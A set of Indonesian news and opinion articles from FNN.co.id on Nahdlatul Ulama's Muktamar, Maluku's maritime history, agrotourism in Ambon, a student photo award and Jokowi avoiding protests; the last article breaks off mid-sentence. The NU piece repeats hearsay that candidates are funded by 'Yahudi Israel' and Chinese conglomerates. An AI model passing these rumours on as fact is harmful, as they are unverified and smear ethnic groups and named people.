Oleh: Mochamad Toha KH Nadirsyah Hosen membuat tulisan dengan judul, “Muktamar NU Bukan Pilpres”. Tulisan Ketua PCI-NU Australia itu tersebar di grup WA warga NU. Menurutnya, Keputusan Munas NU untuk melaksanakan Muktamar ke-34 NU pada Desember 2021 membuat suasananya menjadi hangat. Muncullah nama-nama kandidat yang bertebaran di publik. Bagaimana sebaiknya menyikapinya? Ada dua posisi yang akan ditentukan dalam Muktamar-34, yaitu Rais Am pada level Syuriyah dan Ketua Umum pada level Tanfidziyah. Rais Am adalah pemimpin tertinggi NU. Biasanya diamanahkan kepada ulama sepuh yang ahli fiqh, yang mengayomi dan menjadi teladan sikap dan tutur katanya. Biasanya para ulama sepuh akan rebutan menolak posisi ini, karena sadar sepenuhnya betapa berat menempati maqam ini. Terkenal dialog para kiai sepuh yang saling menolak. Kiai As’ad (KH As’ad Syamsul Arifin) berkata, “Jikalau Malaikat Jibril turun dari langit meminta saya menjadi Rais Am, saya pun akan menolaknya”. Kiai As’ad kemudian mengusulkan Kiai Mahrus (KH Mahrus Aly). Pengasuh Ponpes Lirboyo ini juga menolaknya: “Jangankan Malaikat Jibril, kalaupun Malaikat Izrail turun dan memaksa saya, saya tetap tidak bersedia!” Akhirnya disepakatilah yang terpilih adalah KH Ali Maksum dari Krapyak, yang justru tidak hadir dalam pertemuan. Gus Mus (KH Mustofa Bisri) dari Rembang berkisah bagaimana seharian Gus Mus duduk bersimpuh tidak bergerak di luar kamar Kiai Ali Maksum menunggu kesediaan Sang Kiai. Pada akhirnya Sang Kiai keluar kamar menyetujui penunjukkan itu dengan berurai mata. Gus Mus terkena ‘karma’ peristiwa tersebut. Giliran beliau di Muktamar-33 Jombang yang terpilih oleh 9 Kiai sepuh (AHWA). Namun beda dengan gurunya, beliau malah tetap kukuh menolak, sehingga para ulama mengalihkan amanah itu kepada KH Ma’ruf Amin. Intinya adalah para ulama sepuh dan para Kiai dari jajaran Syuriah yang tahu siapa yang lebih pantas menjadi Rais Am. Akan terasa aneh kalau di luar itu ada yang sibuk dukung sana-sini seolah membenturkan para Kiai sepuh. Rais Am itu bukan sekadar pimpinan para ulama, tapi pemimpin spiritual dan faqih sekaligus. Posisi ini tidak untuk diperebutkan. Sebab, tidak ada kompetisi. Serahkan pada Kiai sepuh untuk menentukan dengan kearifan dan kejernihan para Kiai. Bagaimana dengan posisi Ketum Tanfidziyah? Karena usulan agar posisi ini juga dipilih AHWA telah ditolak di Munas, maka kemungkinan besar akan terjadi pemilihan dan kontestasi para kandidat merebut suara muktamirin. Namun demikian, spiritnya tetap harus sama. Sebagai pelaksana kebijakan para ulama Syuriyah, maka posisi Tanfidziyah tidak berdiri sendiri. Posisi ini adalah kepanjangan tangan para ulama. Posisi ini adalah pelayan ulama sekaligus pelayan umat. Ini juga bukan posisi yang main-main. Untuk itu, meski kelak pemilihannya berdasarkan voting dari suara wilayah dan cabang, tidak boleh ajang Muktamar seolah menjadi gelaran pilpres di mana incumbent berkontestasi dengan penantangnya. “Para kandidat tidak perlu mengerahkan timses atau buzzer di medsos,” ujar Kiai Nadirsyah Hosen. Na’udzubillah. Mau jadi pelayan ulama dan umat saja kok rebutan? Menurutnya, para kandidat juga tidak perlu sahut-sahutan di media. Jangan mau digoreng sana-sini dan diframing macam-macam, seperti layaknya Pilpres. “Marwah Muktamar NU harus dijaga,” tegasnya. Warga Nahdliyin juga jangan mau dibuat polarisasi mendukung kandidat A dan menolak kandidat B. Atau sebaliknya. Kiai Nadirsyah Hosen menyebut, boleh dukung tapi jangan mutung. “Biasanya di NU itu yang kepengen banget malah gak jadi. Adab harus dijaga. Kedepankan maslahat, bukan muslihat. Mari kita buat suasana adem,” lanjutnya. Mari kita menuju Muktamar dengan gembira dan penuh persaudaraan. Siapa tahu kelak Malaikat Jibril dan Izrail pun bergumam: “Tanpa perlu kami turun ke arena Muktamar pun, suasana Muktamar sudah sejuk dan muktamirin memilih yang terbaik.” Insya Allah bi idznillah. Muktamar Sogokan? KH Luthfi Bashori mengatakan, kabar burung hingga sampai ke telinganya, pada Muktamar NU yang bakal digelar di Lampung tahun ini, juga tak lepas dari adanya praktek sogok-menyogok, seperti yang terjadi pada muktamar Makassar dan Jombang. Sejumlah calon Ketua PBNU yang sengaja diviralkan namanya di tengah masyarakat, berusaha akan mempengaruhi atau bahkan sudah ada yang menggelontorkan sejumlah dana kepada calon para peserta muktamar. “Yaitu, kalangan yang mempunyai hak pilih pada momentum pemilihan ketua umum PBNU ke depan,” ujar Kiai Luthfi Basori, Syuriah MWC NU Singosari, Kabupaten Malang ini. Masih dalam lingkaran kabar burung, kini ada calon ketua umum yang menjadi sahabat Israel, maka ia pun mendapat dana besar dari Yahudi Israel, yang akan dipergunakannya membiayai pencalonan dirinya, demi mendapatkan jabatan ketua umum PBNU. Menurut Gus Luthfi, panggilan akrab Kiai Luthfi Basori, ada juga calon ketua umum yang telah menggaet 9 Naga dan konglomerat hitam China untuk membiayai pencalonan dirinya dalam muktamar nanti. Tak pelak persaingan ‘bos asuh’ ini pun terjadi, hingga isu-isu pun mencuat di kalangan warga nahdliyyin, bahwa calon A kini tengah berseteru dengan calon B, padahal semula mereka itu satu tim, “Tapi karena adanya sumber dana dan kepentingan yang berbeda, maka terjadi persaingan yang tidak sehat,” tegas Kiai Luthfi Bashori dari Malang. Siapakah pihak yang sangat potensi berdosa ‘memakan’ uang sogokan di muktamar tersebut? Tentunya para calon pemilih yang tidak memiliki sifat amanah dan wara’ dalam mengemban kewajiban berorganisasi. Calon pemilih yang tidak dapat memilah mana dana yang halal dan mana yang haram. Calon pemilih yang mudah dirayu oleh setan, hingga tidak memiliki rasa takut ancaman siksa akhirat. Sabda Rasulullah SAW: “Ada tiga perkara, barang siapa ketiganya berada dalam dirinya, ia pasti mendapat pahala dan keimanan yang sempurna, yaitu: akhlak baik yang disandangnya dalam kehidupan bermasyarakat; sifat wara’ (berhati-hati) yang mencegahnya dari hal-hal yang diharamkan Allah SWT; dan sifat penyantun yang membuatnya memaafkan kebodohan orang yang jail terhadap dirinya.” HR. Al-Bazzar melalui Sayyidina Anas RA Gus Luthfi menjelaskan,wara’ yang dimaksud adalah sifat menjauhkan diri dari hal-hal yang syubhat (hukumnya samar-samar), apalagi terhadap hal-hal yang diharamkan oleh Allah. Padahal urusan sogok menyogok itu sangat jelas sekali diharamkan dalam syariat, sebagaimana Rasulullah SAW bersabda: "Yang menyogok dan yang disogok itu akan masuk neraka." (HR. Imam Ath-Thabrani). (Selesai) Penulis Wartawan FNN.co.id

Mengembalikan Daulat Maluku Sebagai Negeri Maritim (Bag-1)

by Dr. Saidin Ernas Tahun 2017 silam, saya mendapatkan kehormatan untuk menghadiri sebuah Focus Group Discussion (FGD) tentang upaya membangun dunia kemaritiman di Maluku. Diskusi tersebut dihadiri Gubernur Maluku, Wakil Ketua DPD RI Ibu Ratu Hemas beserta empat anggota DPD RI asal Maluku. Selain itu, hadir juga sejumlah ahli politik, ekonomi, dan kebudayaan. Tidak ketinggalan para ahli kelautan dari Universitas Pattimura Ambon. Beberapa guru besar kelautan dari Universitas Pattimura mempresentasikan potensi ekonomi kelautan di Maluku. Potensi yang bila dikonversi kedalam rupiah, maka nilai keekonomiannya diyakini mampu menopang kesejahteraan seluruh rakyat Maluku. Bahkan dapat menyumbang secara siginifikan terhadap pertumbuhan ekonomi nasional Indonesia. Melalui tulisan ini saya tidak akan menceritakan tentang nilai keekonomian atau angka-angka ekonomi kelautan yang fantastis itu. Saya justru tertarik dengan kritik seorang anggota DPD RI asal Maluku yang juga seorang guru besar di sebuah universitas di Jakarta. Anggota DPD itu menyangsikan hipotesis bahwa masyarakat Maluku adalah kelompok masyarakat yang memiliki mentalitas dan karakter yang dibutuhkan sebagai bangsa pelaut yang Tangguh. Bangsa pelaut tangguh sebagaimana yang jamak ditemukan pada para pelaut Mandar dan Bajo di Sulawesi Selatan atau nelayan-nelayan Banyuwangi dan Madura dari Jawa Timur. Nelayan-nelayan Maluku hanya berlayar di sekitar laut Maluku. Itupun sekedar menjalani aktifitas kenelayanan secara temporal. Sebab umumnya nelayan Maluku mengandalkan pendapatannya dari aktifitas pertanian dan perkebunan. Bila dipahami secara sepintas, apa yang dikatakan senator asal Maluku tersebut pasti dapat dibenarkan. Sebab pada realitasnya para nelayan di Maluku bukanlah pelaut dan nelayan tangguh. Bukan nelayan yang berani menantang samudra hingga batas terjauh. Para nelayan Maluku juga tidak memiliki budaya terkait penguasaan teknologi kenelayanan, seperti perkapalan yang dapat digunakan untuk menopang aktifitasnya. Perahu-perahu di Maluku, seperti kora-kora, koli-koli atau giuk adalah perahu tradisional yang sulit melakukan pelayaran jarak jauh. Namun bagi semua kesan tersebut adalah kesimpulan yang masih dangkal dan perlu diklarifikasi lebih seksama. Apakah benar masyarakat Maluku adalah sebuah komunitas kepulauan yang telah melupakan alam kelautan dan pesisir yang mengitarinya? Sehingga nelayan Maluku tidak memiliki etos sebagai bangsa maritim yang patut dibanggakan lagi? Ataukah kondisi tersebut merupakan sebuah realitas yang tercipta melalaui berbagai bentuk politisasi dan rekayasa sosial yang telah berlangsung lama. Tiga fakta kehancuran bila kita membaca sejumlah data sejarah. Secara historis aktifitas kelautan di Maluku bukan sekedar aktifitas kenelayanan yang rapuh. Tetapi lebih dari itu berkaitan dengan fakta kehancuran kebudayaan dari suatu masyarakat maritim yang pernah berjaya. Masyarakat Maluku bukanlah kamunitas yang tidak mencintai laut, ombak, ikan, batu, karang dan angin yang terhampar di depan matanya. Masyarakat Maluku dulu adalah pelaut-pelaut yang tangguh. Peluat yang menjajah lintas samudera yang disegani kawan dan lawan. Pelaut-pelaut Maluku adalah pedagang-pedagang kaya yang pernah menguasai jalur perdagangan rempah dan hasil laut yang bernilai ekonomi tinggi. Mereka pernah berjaya dan memeriahkan aktifitas perdagangan dunia pada abad 16 hingga abaad 18, yang berpusat di perairan Maluku. Harus diakui, dunia kemaritiman Maluku mengalami kemunduran, kehancuran dan kejatuhan secara perlahan-lahan. Setidaknya ada tiga situasi yang menyumbang kepada realitas tersebut. Baik itu berupa tragedi yang dapat dilacak sejak masa lalu, maupun dinamika sosial politik kontemporer sebagai akibat kekeliruan kebijakan pembangunan pada masa Indonesia Moderen. Fase pertama dari kehacuran peradaban maritim Maluku itu bisa dilacak pada era kolonialisme. Sejarawan LIPI Muridan Widjoyo mencatat bahwa masyarakat Maluku adalah pelaut-pelaut tangguh yang biasa melayari nusantara, bahkan hingga ke India. Mereka menjalankan aktifitas perdagangan rempah-rempah secara independen dengan berbagai bangsa. Catatan Muridan (2014) dan juga Roy Ellen (1986) menyebutkan hiruk pikuk perdagangan tersebut. Para nelayanan di wilayah Seram Timur dan Tenggara menguasai jalur perdagangan sendiri, yang mereka sebut sebagai Sosolat. Jalur Sosolat biasanya melewati jalur Selatan yang memanjang dari pulau-pulau di Papua Barat, Seram Bagian Timur dan Tenggara, Timor, Bali, Banten, Bengkulu di Sumatera hingga Madras di India. Jalur ini merupakan jalur perdagangan ilegal di luar jalur perdagangan monopoli yang secara resmi dikuasai oleh kolonial Belanda. Terdapat ratusan kapal dan perahu yang dikendalikan para pedagang dan pelaut Seram yang memuat berbagai bahan rempah-rempah untuk dijual ke Bali, Sumatera hingga India. Aktifitas tersebut sempat membuat harga komoditas rempah-rempah yang dimonopoli Belanda jatuh di pasaran dunia. Akibatnya, pemerintah Belanda marah besar. Dampaknya, Belnada menyebut orang-orang Seram Timur sebagai bajak laut dan penipu. Menghadapi kenyataan ini, Gubernur Amboina Bernardus Van Pleuren (1785-1788 ) Gubernur Jendral Belanda di Batavia. Dalam suratnya Bernardus Van Plueren menyebut orang-orang Seram Timur yang menguasai aktifitas perdagangan tersebut sebagai “penipu yang paling tidak bisa dipercaya di seluruh dunia”. Akhirnya pemerintah Kolonial yang merasa dirugikan oleh aktifitas perdagangan tersebut melakukan “aksi penertiban” (hongi) secara besar-besaran melalui perang dan kekerasan. Kapal-kapal dan perahu yang mendukung aktifitas perdagangan di tangkap, dibakar dan dimusnahkan. Para pelaut dan pembuat kapal berbadan besar juga ditangkap dan dibunuh. Bahkan sejumlah perkampungan di pesisir seram dibumihanguskan. Operasi penertiban tersebut menandai fase-fase paling awal dari runtuhnya budaya kemaritiman Maluku. Sebab sejak saat itu masyarakat semakin berjarak dengan lautnya. Laut dipunggungi masyarakat Maluku. Halaman depan rumah yang tadinya mengahadap ke laut dipaska untuk berhadapan dengan gunung. Dapur rumah yang semula menghadap ke gunung, dipaksa untuk dibalik menghadap ke laut. Masyarakat dipaksa melalui berbagai cara untuk fokus hanya menanam dan merawat Pala dan Cengkeh yang dimonopoli kolonial Belanda. Fase kedua yang turut menghancurkan budaya kemaritiman Maluku adalah saat Indonesia Merdeka. Ketika rezim Orde Lama serta Orde Baru memilih menfokuskan pembangunan pada wilayah daratan. Pembangunan juga hanya difokuskan di Jawa dan Sumatera sebagai daratan paling potensial bagi aktifitas pertanian dan perkebunan. Sering terdengar ucapan lawas, “Maluku adalah masa lalu, Jawa adalah masa kini dan Sumatera adalah masa depan”. Pembangunan yang beroriantasi daratan memiliki implikasi serius. Sebab wilayah kepulauan seperti Maluku semakin merana, ditinggal dan dilupakan. Tidak ada kegiatan pembangunan yang strategis di Maluku. Laut dan kepulauan dianggap sebagai sesuatu yang tidak prospektif dan menghambat kemajuan. Aksi-aksi penjarahan terhadap hasil laut di Maluku oleh berbagai kapal nelayan asing juga dibiarkan tanpa ada hukuman yang maksimal. Maluku yang tertinggal semakin sulit saja untuk berkembang. Apalagi tidak memperoleh sumber daya yang cukup untuk membangun wilayahnya. Padahal secara geografis Maluku terdiri dari pulau-pulau kecil dan lautan yang luasnya mencapai 92%. Kekayaan Maluku strategis ini tidak dianggap penting oleh pemerintah pusat. Akibatnya, Maluku tetap berada pada posisi sebagau saalah satu provinsi termiskin di Indonesia. Adapun fase ketiga yang bisa dicatat sebagai bentuk keruntuhan peradaban kemaritiman di Maluku adalah ketika rezim reformasi di era SBY menolak inisiatif rakyat Maluku membentuk otonomi propinsi kepulauan. Suatu inisiatif yang dipercaya akan mampu mendorong percepatan pembangunan di Maluku. Secara teoritis akan terjadi mobilisasi sumber daya ekonomi dan politik untuk menopang pembangunan. Meskipun secara retoris pemerintahan SBY selalu mengkampanyekan perubahan paradigma pembangunan yang semakin fokus pada aspek-aspek kelautan. Namun penolakan rezim SBY itu masih memperjelas bahwa kampanye kembali ke laut hanya lips service dan politik pencitraan semata. Pemerintah pusat memang telah membentuk kementerian kelautan dan perikanan, tetapi secara keseluruhan belum menunjukkan sebuah perubahan paradigmatik pembangunan yang fundamental yang mencakup seluruh aspek pembangunan nasional. (bersambung) Penulis adalah Kepala Lembaga Penelitian dan Pengabdian Masyarakat IAIN Ambon.

Anggota DPR-RI Dorong Leitimur Selatan Jadi Wilayah Agrowisata

Ambon, FNN - Anggota DPR-RI Daerah Pemilihan (Dapil) Maluku Mercy Chriesty Barends mendorong Kecamatan Leitimur Selatan, Kota Ambon menjadi wilayah pengembangan agrowisata pertanian organik berbasis dusun. "Beta (saya) ingin Kecamatan Leitimur Selatan semakin berkembang selain pariwisata juga menjadi wilayah agrowisata pertanian berbasis dusun," kata Mercy Barends saat menggelar workshop kepada 30 orang petani milenial dari kecamatan tersebut, di Ambon, Sabtu. Workshop bertema "pentingnya penguatan sektor pertanian berbasis kepulauan dalam menghadapi dampak perubahan iklim global", berkolaborasi dengan Dinas Pertanian Maluku dan akademisi fakultas pertanian Universitas Pattimura (Unpatti) Ambon itu, menjadi langkah awal kolaborasi untuk pengembangan agrowisata berbasis dusun di Leitimur Selatan. Dusun bagi masyarakat di Ambon dan Maluku pada umumnya, merupakan areal yang dikembangkan masyarakat sebagai lahan berkebun berbagai jenis tanaman produktif secara tradisional dan lebih mengandalkan alam sekitarnya. Wilayah Leitimur Selatan yang sebagai besar pegunungan dan pantai, dinilainya merupakan salah satu dari lima kecamatan di ibu kota provinsi Maluku yang tidak berkembang, padahal wilayah itu sejak dahulu terkenal sebagai salah satu daerah penghasil rempah cengkeh dan pala serta buah-buahan. Anggota Komisi VII DPR-RI itu memandang kondisi wilayah Leitimur Selatan sangat cocok untuk pengembangan agrowisata berbasis dusun, khususnya untuk tenaman rempah-rempah dan buah-buahan. "Dulu kalau ingin makan salak atau durian saat musimnya pasti orang di Ambon akan mencari mama-mama "papalele" (ibu-ibu penjual keliling) dari Negeri Kilang, Naku dan Hukurila. Tapi sekarang sudah sangat jarang karena produksi buah-buahan semakin sedikit," ujarnya. Dia juga merasa trenyuh dan sedih setelah mengetahui banyak generasi muda dari kecamatan Leitimur Selatan, tidak tertarik untuk berkebun dan beralih profesi ke berbagai bidang lain, termasuk menjadi pengojek. Karena itu, pelatihan yang digelar itu diharapkan mampu mengubah cara pandang dan berpikir generasi muda di Leitimur Selatan untuk mengembangkan pola pertanian berbasis kepulauan yang bersifat berkelanjutan. "Dengan pelatihan serta kolaborasi dan kerja sama berbagai pihak, kita akan mulai mengembangkan Leitimur Selatan sebagai model pengembangan agrowisata rempah berbasis dusun," katanya. Para petani di daerah itu juga akan dilatih mengembangkan tanaman rempah pala dan cengkeh serta buah-buahan secara organik melalui pola pertanian dan budidaya yang baik dan benar, sehingga produktivitasnya lebih meningkat dan memenuhi standar dan kualitas ekspor. "Pola pertanian organik itu bukan sekedar gali kolam, tanam dan dibiarkan untuk tumbuh sendiri. Tetapi harus ada perlakuan khusus dimulai dari proses pembibitan, pola penanaman hingga pemeliharaan dan pascapanennya," katanya. Jika pengembangan pertanian dan perkebunan berorientasi ekspor, maka selain hasil panen yang melimpah, hasil rempah-rempah memenuhi standar kualitas untuk diekspor. Anggota Fraksi PDI Perjuangan itu juga meminta Dinas Pertanian Maluku serta akademisi Unpatti Ambon untuk membantu warga menghitung nilai ekonomi dusun atau kebun mereka masing-masing, sehingga generasi muda lebih tertarik untuk mengembangkannya. ia pun akan datang kembali untuk membicarakan rencana pengembangan program tersebut dalam skala jangka panjang, termasuk mengupayakan bantuan pengembangan dari kementerian dan lembaga terkait. Sedangkan Kabid Perkebunan Dinas Pertanian Maluku, Donny Lekatompessy menegaskan, pola bertani tanaman rempah di Maluku, termasuk di Leitimur Selatan yang masih tradisional sudah waktunya diubah. "Agar komoditi rempah mampu memenuhi standar dan kualitas ekspor, maka pola pengembangan rempah perlu diubah, tidak lagi mengandalkan alam untuk pertumbuhan, tetapi diberi perlakuan khusus sejak dari bibit hingga panen," katanya. Donny mengaku, banyak petani rempah di Maluku sudah mulai tidak tertarik mengelola pala dan cengkeh, dikarenakan selain serangan hama, umumnya pohonnya telah berusia tua, sehingga berpengaruh terhadap kualitas serta produksi yang menurun. Produksi yang menurun membuat para petani lebih banyak menjual kepada tengkulak atau pedagang pengumpul dengan harga yang rendah. Selain itu, saat konflik sosial melanda Maluku 1999, ekspor komoditi rempah dari daerah ini sempat terhenti, dan saat ini mulai dirintis kembali, tetapi komoditinya harus melalui proses sertifikasi produk di Bali, Surabaya dan Jakarta. Donny mengapresiasi upaya Anggota DPR-RI Dapil Maluku untuk pengembangan pertanian berbasis kepulauan di Leitimur Selatan, dan bersedia membantu petani untuk bangkit kembali mengelola lahannya. Sedangkan akademisi Fakultas Pertanian, Jetter Siwalette, menyatakan siap menyosialisasikan pertanian pengembangan pola pertanian dan agrowisata berbasis kepulauan kepada wara di kecamatan tersebut. "Saya siap datang ke masing-masing desa untuk mengajarkan cara-cara mengembangkan pertanian organik berbasis agrowisata," katanya. Dia setuju kawasan Leitimur Selatan dikembangkan sebagai kawasan unggulan berbasis pariwisata serta agrowisata dan rempah-rempah. "Jika ketiga unsur ini dikolaborasikan dan dikembangkan secara profesional bukan tidak mungkin para petani di Leitimur Selatan akan semakin sejahtera," ujarnya. Mercy Barends yang juga anggota Badan Anggaran DPR-RI, dalam kesempatan itu juga menyerahkan bantuan 5.000 anakan pala dan cengkeh kepada para petani muda atau milenial dari kecamatan Leitimur Selatan. Setiap petani milenial diberi bantuan bibit sebanyak 150 anakan pala dan cengkeh. Bantuan bibit tersebut merupakan tahap pertama dari rencana 10.000 bibit yang akan diserahkan kepada warga di Leitimur Selatan. (mth)

Sekolah Indonesia di Kota Kinabalu Juarai "Higashikawa Youth Fest"

Kuala Lumpur, FNN - Sekolah Indonesia Kota Kinabalu (SIKK) menjadi salah satu pemenang dalam kategori "World’s Choice Award" pada ajang The 7th International High School Students’ Photo Festival Exchange atau Higashikawa Youth Fest. "Kegiatan ini merupakan kegiatan tahunan yang diselenggarakan oleh panitia Higashikawa Youth Fest yang berpusat di Higashikawa, Hokkaido-Jepang, sebagai sarana bertukar ilmu dalam bidang fotografi bagi pelajar dari seluruh dunia," ujar Kepala Sekolah Indonesia Kota Kinabalu, Dadang Hermawan, Sabtu. Dia mengatakan ajang pertukaran pelajar dalam bidang fotografi ini sudah kali ketujuh dilaksanakan. "Awalnya peserta yang lolos seleksi nasional di negara masing-masing akan dikirim ke Jepang, namun dalam dua tahun terakhir pelaksanaan kegiatan dilakukan secara daring karena kondisi pandemi di Jepang dan beberapa negara belum membaik," katanya. Pada tahun 2021 ini Higashikawa Youth Fest meloloskan 21 peserta dari 19 negara yakni Indonesia, China, Korea, Taiwan, Thailand, Vietnam, Uzbekistan, Australia, Kanada, Latvia, Singapura, Finlandia, Mongolia, Rusia, Prancis, Laos, Luksemburg, Kolombia dan Jepang. Untuk menjadi peserta, setiap negara akan melaksanakan seleksi di tingkat nasional dan akan memilih satu perwakilan juara dari salah satu sekolah untuk mewakili ke tingkat internasional. "Di Indonesia kegiatan ini digawangi oleh International Youth Photo Festival Indonesia yang melaksanakan kegiatan seleksi nasionalnya pada Juni 2021," katanya. Pada festival kali ini Indonesia diwakili oleh tim pelajar SMA dari Sekolah Indonesia Kota Kinabalu (SIKK) yang terdiri dari Muhammad Revandi Arnanto, Fauzan Hafiz dan Muhidin di bawah bimbingan guru sebagai chaperone, Frangky Kurniawan. Tim Indonesia mendapatkan salah satu penghargaan juara sebagai "World’s Choice Award" bersama dengan tim Kolombia, sedangkan tim Mongolia yang menyabet gelar "Judges’ Choice Award" dan Taiwan yang mendapat penghargaan "Students and Teachers’ Choice Award". "Tim yang berhasil mendapat award akan mendapatkan piagam penghargaan, medali dan juga undangan ke Higashikawa, Hokkaido-Jepang pada pelaksanaan festival tahun 2022," katanya. Berbagai penghargaan dalam ajang tersebut dinilai oleh juri dari kalangan fotografer profesional mancanegara, pilihan peserta dan chaperone, dan pilihan masyarakat dari seluruh dunia melalui laman khusus yang sudah disediakan oleh panitia. Dalam laman tersebut peserta dan chaperone dapat melakukan pertukaran ilmu dalam bidang fotografi melalui "coaching clinic" dan "online open space". "Dalam kegiatan ini peserta dari berbagai negara diminta untuk mengangkat kekayaan budaya masing-masing dalam bidang fotografi," katanya. Dalam seleksi nasional setiap negara diminta untuk membuat rangkaian foto bercerita dengan tema "Warmth of our region" dan tim Indonesia mengangkat tema perjalanan anak laki-laki dari Nusa Tenggara Timur dalam foto seri yang berjudul "The Journey of Nyong". Dalam final festival fotografi internasional ini setiap tim dari berbagai negara diwajibkan mengirimkan karya foto berseri dengan tema "hope" dan "connection” yang masing-masing terdiri dari enam buah foto. Tim Indonesia membawa konsep "hope" dengan judul "Heart to Heart" yang mengisahkan tentang perjalanan cinta dari seorang ibu melalui bekal makanan untuk dibawa oleh anaknya ke sekolah setiap hari, berbagi dengan temannya, dan dalam bekal itu terdapat rasa kasih sayang serta harapan besar bagi sang Anak. "Untuk tema 'hope' tim Indonesia mengangkat judul 'Water of Hope' yang bercerita tentang perjalanan air dari gunung menuju ke kebun-kebun petani, aktivitas di perkebunan karena adanya air hingga menghasilkan produk pangan untuk didistribusikan oleh petani," katanya. Kegiatan festival seperti ini, ujar dia, diharapkan menjadi sarana untuk menumbuhkan minat pelajar SMA dalam bidang fotografi serta mengembangkan bakat dan kemampuan dalam bidang fotografi sekaligus membangun jejaring internasional dengan pelajar lain dari seluruh dunia. Dadang merasa berbangga dengan prestasi yang diraih oleh Tim Sekolah Indonesia Kinabalu. "Tahun ini SIKK telah berhasil menorehkan delapan prestasi di ajang internasional, salah satunya adalah pada 'Higashikawa Youth Fest 2021'. Kolaborasi peserta didik dengan guru tentunya sangat menentukan keberhasilan tim SIKK meraih berbagai prestasi di berbagai kompetisi. Pada kesempatan terpisah ketua komite festival, Ichiro Matsuoka menyampaikan ucapan selamat kepada seluruh perwakilan negara dan menyampaikan permohonann maaf karena tidak dapat mengundang peserta secara langsung ke Higashikawa karena COVID-19 yang belum mereda. Dia mengharapkan pelaksanaan festival ke depan bisa dilaksanakan secara langsung dengan mengundang peserta datang secara langsung ke Jepang. (mth)

Hindari Mahasiswa, Presiden Memilih Resmikan Pabrik Biodiesel

Oleh: Mochamad Toha SETIDAKNYA, sudah 3 kali ini Presiden Joko Widodo berusaha menghindar dari unjuk rasa ketika ada rakyat yang ingin menemuinya di Istana Negara dan Bogor. Unjuk rasa BEM SI, Kamis (21/10/2021), adalah kali ketiga. Sebelumnya, sikap serupa juga pernah dilakukan Presiden Jokowi yang tak menemui ulama yang tergabung dalam Gerakan Nasional Pengawal Fatwa Majelis Ulama Indonesia (GNPF-MUI) pada demo 4 November 2016. GNPF-MUI akhirnya meminta DPR, “Gunakan hak angket, hak bertanya, hak interpelasi atau apapun namanya,” kata Dewan Penasihat GNPF-MUI Habib Rizieq Shihab di Kompleks Parlemen, Kamis (17/11/2016). DPR perlu mendalami sikap presiden tersebut, termasuk aksi represif yang dilakukan oleh aparat kemanan dalam membubarkan massa peserta Aksi Bela Islam II. Imam Besar Front Pembela Islam itu berpendapat, sikap pemerintah yang seperti itu merupakan penghinaan terhadap para ulama. Pasalnya, para ulama dan massa melangsungkan aksi unjuk rasa dengan damai. “Kenapa justru ditinggal pergi. Bahkan dilakukan tindakan represif yang brutal,” lanjut ulama yang akrab dipanggil HRS itu. Saat terjadi unjuk rasa, Presiden Jokowi sedang meninjau sejumlah proyek di sekitar Bandara Soekarno-Hatta. Para pendemo, yang menuntut kasus dugaan penistaan agama oleh Basuki Tjahaja Purnama diusut, akhirnya ditemui Wapres Jusuf Kalla. Kasus serupa terjadi pada Kamis (8/10/2020), saat terjadi demo Omnibus Law Ciptaker oleh mahasiswa dan buruh di Istana Bogor. Presiden Jokowi ternyata lebih memilih melihat bebek di Kalimantan. Ternyata benar. Akun Instagram Presiden Jokowi menyebut memang benar pada Kamis 8 Oktober 2020 ia melakukan kunjungan kerja ke Kalimantan Tengah untuk melihat kegiatan food estate. "Selamat pagi. Hari ini saya menuju Kalimantan Tengah untuk kunjungan sehari,” tulisnya. Setiba di Bandara Tjilik Riwut, Kota Palangka Raya, lalu dengan helikopter ia menuju Kabupaten Pulang Pisau. “Di sana saya hendak meninjau kawasan lumbung pangan yang sedang kita kembangkan berikut penanaman padi, keramba ikan, serta peternakan bebek yang terletak di Kecamatan Pandih Batu," tulis Jokowi. Esoknya, viral beredar sebuah foto Presiden Jokowi di media sosial twitter dengan keterangan: "Maafkan, Bapak ini lebih suka ketemu Bebek daripada Rakyat," tulis akun @linalinzc, Jum’at 9 Oktober 2020. Saat itu belum bisa dipastikan apakah foto tersebut benar adanya sebagai salah satu rangkaian kegiatan Presiden Jokowi ke Kalimantan Tengah di tengah maraknya aksi unjuk rasa menolak Omnibus Law Cipta Kerja. Namun, setelah adanya “pengakuan” Instagram Presiden Jokowi menyebut memang benar pada Kamis 8 Oktober 2020 ia melakukan kunjungan kerja ke Kalimantan Tengah, ternyata foto tersebut sesuai fakta tersebut. Netizen: "This is the Indonesian president, which was called as the "man of contradiction" by one of international writer, being alone & contemplate in a large duck cage while his people flocked in big protests in many areas accross the country," tulis @rataukeramas. Kira-kira terjemahannya: “Inilah Presiden Indonesia, yang oleh salah satu penulis internasional disebut sebagai "manusia kontradiksi", sendirian dan merenung di dalam kandang bebek besar sementara rakyatnya berbondong-bondong melakukan protes besar-besaran di berbagai daerah di tanah air,” dengan menyebut akun @redfishstream. Komentar netizen dengan nama akun @samyancg cukup menohok, "Apa dia memiliki dunianya sendiri dengan para bebek itu?" tulisnya. Yang dibalas lagi oleh @fitrikhamila, “Ternyata bebek lebih spesial daripada kita.” Dan kali ketiga, Jum’at, 22 Oktober 2021. Mungkin saking kesalnya, media sosial twiter ramai dengan cuitan-cuitan yang menggemakan tagar, “Kapan Jokowi Lengser”. Wakil Presiden Ma’ruf Amin juga turut menjadi sorotan. Banyak warganet yang menilai jika kinerja Jokowi dan Ma'ruf Amin pada tahun kedua menjabat ini jauh dari kata maju. Hal ini memicu naiknya tagar #KapanJokowiMundur. Lebih mengecewakan, ternyata ketika Badan Eksekutif Mahasiswa Seluruh Indonesia (BEM SI) unjuk rasa di depan Istana, Presiden Jokowi memilih ke Kalsel meresmikan pabrik biodiesel PT Jhonlin Agro Raya (JAR). Pabrik biodiesel tersebut di bawah naungan Jhonlin Group. Jhonlin Group sendiri adalah perusahaan milik pengusaha batubara Kalimantan Selatan, Samsudin Andi Arsyad atau Haji Isam. Sikap Presiden Jokowi yang “lari” itu, seolah membuktikan tema unjuk rasa BEM SI Gelar ‘Aksi Geruduk Istana Oligarki’: Evaluasi 7 Tahun.... Presiden Jokowi lebih memilih menemui pe3ngusaha bagian dari Oligarki. Lolos di Jakarta, mahasiswa Kalsel telah menyiapkan poster dan spanduk dengan coretan yang berisi kritikan ke Presiden Jokowi. Mereka menduduki DPRD Kalsel dan menutup Jalan Lambung Mangkurat, Banjarmasin. Mereka menuntut janji Jokowi yang dinilai tidak ditepati selama dua tahun kepemimpinannya pada periode kedua. Koordinator lapangan memberikan tuntutan kepada Presiden Jokowi untuk lebih memperhatikan terjadinya kerusakan lingkungan karena aktivitas dari penambangan. Melansir Repelita Online, Jum’at 